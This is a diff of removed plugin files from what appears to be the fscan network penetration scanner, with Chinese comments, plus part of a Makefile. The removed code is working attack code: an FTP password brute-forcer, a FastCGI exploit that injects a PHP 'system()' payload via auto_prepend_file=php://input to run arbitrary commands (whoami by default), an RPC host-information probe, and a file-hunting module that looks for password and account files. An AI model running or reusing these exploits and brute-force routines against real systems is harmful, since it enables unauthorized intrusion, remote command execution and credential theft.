||||
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
|
||||
@echo "Linux amd64..."
|
||||
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
|
||||
@echo "Darwin amd64..."
|
||||
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
|
||||
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
|
||||
|
||||
## lint: 运行代码检查
|
||||
lint:
|
||||
@echo "$(BLUE)运行代码检查...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run ./...
|
||||
@echo "$(GREEN)✓ 代码检查通过$(NC)"
|
||||
|
||||
## lint-fix: 运行代码检查并自动修复
|
||||
lint-fix:
|
||||
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run --fix ./...
|
||||
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
|
||||
|
||||
## clean: 清理构建产物
|
||||
clean:
|
||||
@echo "$(BLUE)清理构建产物...$(NC)"
|
||||
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
|
||||
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
|
||||
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
|
||||
rm -f coverage.out coverage.html
|
||||
rm -rf dist/ tests/logs/
|
||||
@echo "$(GREEN)✓ 清理完成$(NC)"
|
||||
|
||||
## stress-test: 压力测试(需要先 build-debug)
|
||||
stress-test:
|
||||
@echo "$(BLUE)压力测试...$(NC)"
|
||||
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
|
||||
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
|
||||
echo "请先运行 'make build-debug'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@if [ -f tests/stress_test.sh ]; then \
|
||||
bash tests/stress_test.sh; \
|
||||
else \
|
||||
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
|
||||
echo "请先创建压力测试脚本"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
## ci: CI流程(lint + test + build)
|
||||
ci: lint test build
|
||||
@echo "$(GREEN)✓ CI流程完成$(NC)"
|
||||
|
||||
## install-tools: 安装开发工具
|
||||
install-tools:
|
||||
@echo "$(BLUE)安装开发工具...$(NC)"
|
||||
@echo "检查 golangci-lint..."
|
||||
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
|
||||
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
|
||||
$(GOLANGCI_LINT) version; \
|
||||
else \
|
||||
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
|
||||
if command -v go >/dev/null 2>&1; then \
|
||||
echo "使用 go install 安装..."; \
|
||||
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
|
||||
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
|
||||
$(GOLANGCI_LINT) version || \
|
||||
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
|
||||
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
|
||||
echo "或访问: https://golangci-lint.run/welcome/install/"; \
|
||||
exit 1; }; \
|
||||
else \
|
||||
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
fi
|
||||
|
||||
## fmt: 格式化代码
|
||||
fmt:
|
||||
@echo "$(BLUE)格式化代码...$(NC)"
|
||||
$(GO) fmt ./...
|
||||
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
|
||||
|
||||
## vet: 运行 go vet(跳过printf检查)
|
||||
vet:
|
||||
@echo "$(BLUE)运行 go vet...$(NC)"
|
||||
$(GO) vet -printf=false ./...
|
||||
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// ReadBytes 从连接读取数据直到EOF或错误
|
||||
func ReadBytes(conn net.Conn) ([]byte, error) {
|
||||
size := 4096 // 缓冲区大小
|
||||
buf := make([]byte, size)
|
||||
var result []byte
|
||||
var lastErr error
|
||||
|
||||
// 循环读取数据
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
break
|
||||
}
|
||||
|
||||
result = append(result, buf[0:count]...)
|
||||
|
||||
// 如果读取的数据小于缓冲区,说明已经读完
|
||||
if count < size {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 如果读到了数据,则忽略错误
|
||||
if len(result) > 0 {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
return result, lastErr
|
||||
}
|
||||
|
||||
// 默认AES加密密钥
|
||||
var key = "0123456789abcdef"
|
||||
|
||||
// AesEncrypt 使用AES-CBC模式加密字符串
|
||||
func AesEncrypt(orig string, key string) (string, error) {
|
||||
// 转为字节数组
|
||||
origData := []byte(orig)
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取块大小并填充数据
|
||||
blockSize := block.BlockSize()
|
||||
origData = PKCS7Padding(origData, blockSize)
|
||||
|
||||
// 创建CBC加密模式
|
||||
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 加密数据
|
||||
encrypted := make([]byte, len(origData))
|
||||
blockMode.CryptBlocks(encrypted, origData)
|
||||
|
||||
// base64编码
|
||||
return base64.StdEncoding.EncodeToString(encrypted), nil
|
||||
}
|
||||
|
||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
||||
func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// base64解码
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] base64解码失败: %v", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建解密块
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建CBC解密模式
|
||||
blockSize := block.BlockSize()
|
||||
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 解密数据
|
||||
origData := make([]byte, len(cryptedBytes))
|
||||
blockMode.CryptBlocks(origData, cryptedBytes)
|
||||
|
||||
// 去除填充
|
||||
origData, err = PKCS7UnPadding(origData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
|
||||
}
|
||||
|
||||
return string(origData), nil
|
||||
}
|
||||
|
||||
// PKCS7Padding 对数据进行PKCS7填充
|
||||
func PKCS7Padding(data []byte, blockSize int) []byte {
|
||||
padding := blockSize - len(data)%blockSize
|
||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(data, padtext...)
|
||||
}
|
||||
|
||||
// PKCS7UnPadding 去除PKCS7填充
|
||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("[-] 数据长度为0")
|
||||
}
|
||||
|
||||
padding := int(data[length-1])
|
||||
if padding > length {
|
||||
return nil, errors.New("[-] 填充长度无效")
|
||||
}
|
||||
|
||||
return data[:length-padding], nil
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// FtpScan 执行FTP服务扫描
|
||||
func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 如果已开启暴力破解则直接返回
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 尝试匿名登录
|
||||
flag, err := FtpConn(info, "anonymous", "")
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 尝试用户名密码组合
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
// 替换密码中的用户名占位符
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
flag, err := FtpConn(info, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 记录错误信息
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 超时检查
|
||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// FtpConn 建立FTP连接并尝试登录
|
||||
func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
|
||||
// 建立FTP连接
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 尝试登录
|
||||
if err = conn.Login(Username, Password); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 登录成功,获取目录信息
|
||||
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
if err == nil && len(dirs) > 0 {
|
||||
// 最多显示前6个目录
|
||||
for i := 0; i < len(dirs) && i < 6; i++ {
|
||||
name := dirs[i].Name
|
||||
if len(name) > 50 {
|
||||
name = name[:50]
|
||||
}
|
||||
result += "\n [->]" + name
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
@@ -1,375 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//links
|
||||
//https://xz.aliyun.com/t/9544
|
||||
//https://github.com/wofeiwo/webcgi-exploits
|
||||
|
||||
// FcgiScan 执行FastCGI服务器漏洞扫描
|
||||
func FcgiScan(info *Common.HostInfo) error {
|
||||
// 如果设置了暴力破解模式则跳过
|
||||
if Common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 设置目标URL路径
|
||||
url := "/etc/issue"
|
||||
if Common.Path != "" {
|
||||
url = Common.Path
|
||||
}
|
||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
// 构造PHP命令注入代码
|
||||
var reqParams string
|
||||
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
|
||||
|
||||
switch {
|
||||
case Common.Command == "read":
|
||||
reqParams = "" // 读取模式
|
||||
case Common.Command != "":
|
||||
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
|
||||
default:
|
||||
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
|
||||
}
|
||||
|
||||
// 设置FastCGI环境变量
|
||||
env := map[string]string{
|
||||
"SCRIPT_FILENAME": url,
|
||||
"DOCUMENT_ROOT": "/",
|
||||
"SERVER_SOFTWARE": "go / fcgiclient ",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
}
|
||||
|
||||
// 根据请求类型设置对应的环境变量
|
||||
if len(reqParams) != 0 {
|
||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
||||
env["REQUEST_METHOD"] = "POST"
|
||||
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
|
||||
} else {
|
||||
env["REQUEST_METHOD"] = "GET"
|
||||
}
|
||||
|
||||
// 建立FastCGI连接
|
||||
fcgi, err := New(addr, Common.Timeout)
|
||||
defer func() {
|
||||
if fcgi.rwc != nil {
|
||||
fcgi.rwc.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
return err
|
||||
}
|
||||
|
||||
// 发送FastCGI请求
|
||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理响应结果
|
||||
output := string(stdout)
|
||||
var result string
|
||||
|
||||
if strings.Contains(output, cutLine) {
|
||||
// 命令执行成功,提取输出结果
|
||||
output = strings.SplitN(output, cutLine, 2)[0]
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
||||
info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, output)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
} else if strings.Contains(output, "File not found") ||
|
||||
strings.Contains(output, "Content-type") ||
|
||||
strings.Contains(output, "Status") {
|
||||
// 目标存在FastCGI服务但可能路径错误
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
||||
info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
|
||||
info.Host, info.Ports, output)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// for padding so we don't have to allocate all the time
|
||||
// not synchronized because we don't care what the contents are
|
||||
var pad [maxPad]byte
|
||||
|
||||
const (
|
||||
FCGI_BEGIN_REQUEST uint8 = iota + 1
|
||||
FCGI_ABORT_REQUEST
|
||||
FCGI_END_REQUEST
|
||||
FCGI_PARAMS
|
||||
FCGI_STDIN
|
||||
FCGI_STDOUT
|
||||
FCGI_STDERR
|
||||
)
|
||||
|
||||
const (
|
||||
FCGI_RESPONDER uint8 = iota + 1
|
||||
)
|
||||
|
||||
const (
|
||||
maxWrite = 6553500 // maximum record body
|
||||
maxPad = 255
|
||||
)
|
||||
|
||||
type header struct {
|
||||
Version uint8
|
||||
Type uint8
|
||||
Id uint16
|
||||
ContentLength uint16
|
||||
PaddingLength uint8
|
||||
Reserved uint8
|
||||
}
|
||||
|
||||
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
|
||||
h.Version = 1
|
||||
h.Type = recType
|
||||
h.Id = reqId
|
||||
h.ContentLength = uint16(contentLength)
|
||||
h.PaddingLength = uint8(-contentLength & 7)
|
||||
}
|
||||
|
||||
type record struct {
|
||||
h header
|
||||
buf [maxWrite + maxPad]byte
|
||||
}
|
||||
|
||||
func (rec *record) read(r io.Reader) (err error) {
|
||||
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if rec.h.Version != 1 {
|
||||
return errors.New("fcgi: invalid header version")
|
||||
}
|
||||
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
|
||||
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *record) content() []byte {
|
||||
return r.buf[:r.h.ContentLength]
|
||||
}
|
||||
|
||||
type FCGIClient struct {
|
||||
mutex sync.Mutex
|
||||
rwc io.ReadWriteCloser
|
||||
h header
|
||||
buf bytes.Buffer
|
||||
keepAlive bool
|
||||
}
|
||||
|
||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||
fcgi = &FCGIClient{
|
||||
rwc: conn,
|
||||
keepAlive: false,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
c.buf.Reset()
|
||||
c.h.init(recType, reqId, len(content))
|
||||
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := c.buf.Write(content); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = c.rwc.Write(c.buf.Bytes())
|
||||
return err
|
||||
}
|
||||
|
||||
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
||||
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
||||
}
|
||||
|
||||
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
||||
b := make([]byte, 8)
|
||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
||||
b[4] = protocolStatus
|
||||
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
|
||||
}
|
||||
|
||||
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
||||
w := newWriter(c, recType, reqId)
|
||||
b := make([]byte, 8)
|
||||
for k, v := range pairs {
|
||||
n := encodeSize(b, uint32(len(k)))
|
||||
n += encodeSize(b[n:], uint32(len(v)))
|
||||
if _, err := w.Write(b[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(k); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(v); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
w.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func readSize(s []byte) (uint32, int) {
|
||||
if len(s) == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
size, n := uint32(s[0]), 1
|
||||
if size&(1<<7) != 0 {
|
||||
if len(s) < 4 {
|
||||
return 0, 0
|
||||
}
|
||||
n = 4
|
||||
size = binary.BigEndian.Uint32(s)
|
||||
size &^= 1 << 31
|
||||
}
|
||||
return size, n
|
||||
}
|
||||
|
||||
func readString(s []byte, size uint32) string {
|
||||
if size > uint32(len(s)) {
|
||||
return ""
|
||||
}
|
||||
return string(s[:size])
|
||||
}
|
||||
|
||||
func encodeSize(b []byte, size uint32) int {
|
||||
if size > 127 {
|
||||
size |= 1 << 31
|
||||
binary.BigEndian.PutUint32(b, size)
|
||||
return 4
|
||||
}
|
||||
b[0] = byte(size)
|
||||
return 1
|
||||
}
|
||||
|
||||
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
|
||||
// Closed.
|
||||
type bufWriter struct {
|
||||
closer io.Closer
|
||||
*bufio.Writer
|
||||
}
|
||||
|
||||
func (w *bufWriter) Close() error {
|
||||
if err := w.Writer.Flush(); err != nil {
|
||||
w.closer.Close()
|
||||
return err
|
||||
}
|
||||
return w.closer.Close()
|
||||
}
|
||||
|
||||
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
|
||||
s := &streamWriter{c: c, recType: recType, reqId: reqId}
|
||||
w := bufio.NewWriterSize(s, maxWrite)
|
||||
return &bufWriter{s, w}
|
||||
}
|
||||
|
||||
// streamWriter abstracts out the separation of a stream into discrete records.
|
||||
// It only writes maxWrite bytes at a time.
|
||||
type streamWriter struct {
|
||||
c *FCGIClient
|
||||
recType uint8
|
||||
reqId uint16
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
nn := 0
|
||||
for len(p) > 0 {
|
||||
n := len(p)
|
||||
if n > maxWrite {
|
||||
n = maxWrite
|
||||
}
|
||||
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
|
||||
return nn, err
|
||||
}
|
||||
nn += n
|
||||
p = p[n:]
|
||||
}
|
||||
return nn, nil
|
||||
}
|
||||
|
||||
func (w *streamWriter) Close() error {
|
||||
// send empty record to close the stream
|
||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
||||
}
|
||||
|
||||
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
||||
|
||||
var reqId uint16 = 1
|
||||
defer c.rwc.Close()
|
||||
|
||||
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = c.writePairs(FCGI_PARAMS, reqId, env)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(reqStr) > 0 {
|
||||
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
rec := &record{}
|
||||
var err1 error
|
||||
|
||||
// recive untill EOF or FCGI_END_REQUEST
|
||||
for {
|
||||
err1 = rec.read(c.rwc)
|
||||
if err1 != nil {
|
||||
if err1 != io.EOF {
|
||||
err = err1
|
||||
}
|
||||
break
|
||||
}
|
||||
switch {
|
||||
case rec.h.Type == FCGI_STDOUT:
|
||||
retout = append(retout, rec.content()...)
|
||||
case rec.h.Type == FCGI_STDERR:
|
||||
reterr = append(reterr, rec.content()...)
|
||||
case rec.h.Type == FCGI_END_REQUEST:
|
||||
fallthrough
|
||||
default:
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,162 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
// RPC请求数据包
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
// Findnet 探测Windows网络主机信息的入口函数
|
||||
func Findnet(info *Common.HostInfo) error {
|
||||
return FindnetScan(info)
|
||||
}
|
||||
|
||||
// FindnetScan 通过RPC协议扫描网络主机信息
|
||||
func FindnetScan(info *Common.HostInfo) error {
|
||||
// 连接目标RPC端口
|
||||
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置连接超时
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("[-] 设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送第一个RPC请求
|
||||
if _, err = conn.Write(bufferV1); err != nil {
|
||||
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 4096)
|
||||
if _, err = conn.Read(reply); err != nil {
|
||||
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送第二个RPC请求
|
||||
if _, err = conn.Write(bufferV2); err != nil {
|
||||
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取并检查响应
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
|
||||
}
|
||||
|
||||
// 解析响应数据
|
||||
text := reply[42:]
|
||||
found := false
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
fmt.Println("[+] FindNet扫描模块结束...")
|
||||
return fmt.Errorf("[-] 未找到有效的响应标记")
|
||||
}
|
||||
|
||||
// 解析主机信息
|
||||
return read(text, info.Host)
|
||||
}
|
||||
|
||||
// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串
|
||||
func HexUnicodeStringToString(src string) string {
|
||||
// 确保输入长度是4的倍数
|
||||
if len(src)%4 != 0 {
|
||||
src += src[:len(src)-len(src)%4]
|
||||
}
|
||||
|
||||
// 转换为标准Unicode格式
|
||||
var sText string
|
||||
for i := 0; i < len(src); i += 4 {
|
||||
sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序
|
||||
}
|
||||
|
||||
// 解析每个Unicode字符
|
||||
unicodeChars := strings.Split(sText, "\\u")
|
||||
var result string
|
||||
|
||||
for _, char := range unicodeChars {
|
||||
// 跳过空字符
|
||||
if len(char) < 1 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 将16进制转换为整数
|
||||
codePoint, err := strconv.ParseInt(char, 16, 32)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 转换为实际字符
|
||||
result += fmt.Sprintf("%c", codePoint)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// read 解析并显示主机网络信息
|
||||
func read(text []byte, host string) error {
|
||||
// 将原始数据转换为16进制字符串
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
|
||||
// 解析主机名
|
||||
var hostName string
|
||||
for i := 0; i < len(encodedStr)-4; i += 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hostName += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
// 转换主机名为可读字符串
|
||||
name := HexUnicodeStringToString(hostName)
|
||||
|
||||
// 解析网络信息
|
||||
netInfo := strings.Replace(encodedStr, "0700", "", -1)
|
||||
hosts := strings.Split(netInfo, "000000")
|
||||
hosts = hosts[1:] // 跳过第一个空元素
|
||||
|
||||
// 构造输出结果
|
||||
result := fmt.Sprintf("[*] NetInfo\n[*] %s", host)
|
||||
if name != "" {
|
||||
result += fmt.Sprintf("\n [->] %s", name)
|
||||
}
|
||||
|
||||
// 解析每个网络主机信息
|
||||
for _, h := range hosts {
|
||||
// 移除填充字节
|
||||
h = strings.Replace(h, "00", "", -1)
|
||||
|
||||
// 解码主机信息
|
||||
hostInfo, err := hex.DecodeString(h)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 解码主机信息失败: %v", err)
|
||||
}
|
||||
result += fmt.Sprintf("\n [->] %s", string(hostInfo))
|
||||
}
|
||||
|
||||
// 输出结果
|
||||
Common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
@@ -1,213 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
blacklist = []string{
|
||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
||||
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
||||
}
|
||||
|
||||
whitelist = []string{
|
||||
"密码", "账号", "账户", "配置", "服务器",
|
||||
"数据库", "备忘", "常用", "通讯录",
|
||||
}
|
||||
|
||||
// Linux系统关键配置文件
|
||||
linuxSystemPaths = []string{
|
||||
// Apache配置
|
||||
"/etc/apache/httpd.conf",
|
||||
"/etc/httpd/conf/httpd.conf",
|
||||
"/etc/httpd/httpd.conf",
|
||||
"/usr/local/apache/conf/httpd.conf",
|
||||
"/home/httpd/conf/httpd.conf",
|
||||
"/usr/local/apache2/conf/httpd.conf",
|
||||
"/usr/local/httpd/conf/httpd.conf",
|
||||
"/etc/apache2/sites-available/000-default.conf",
|
||||
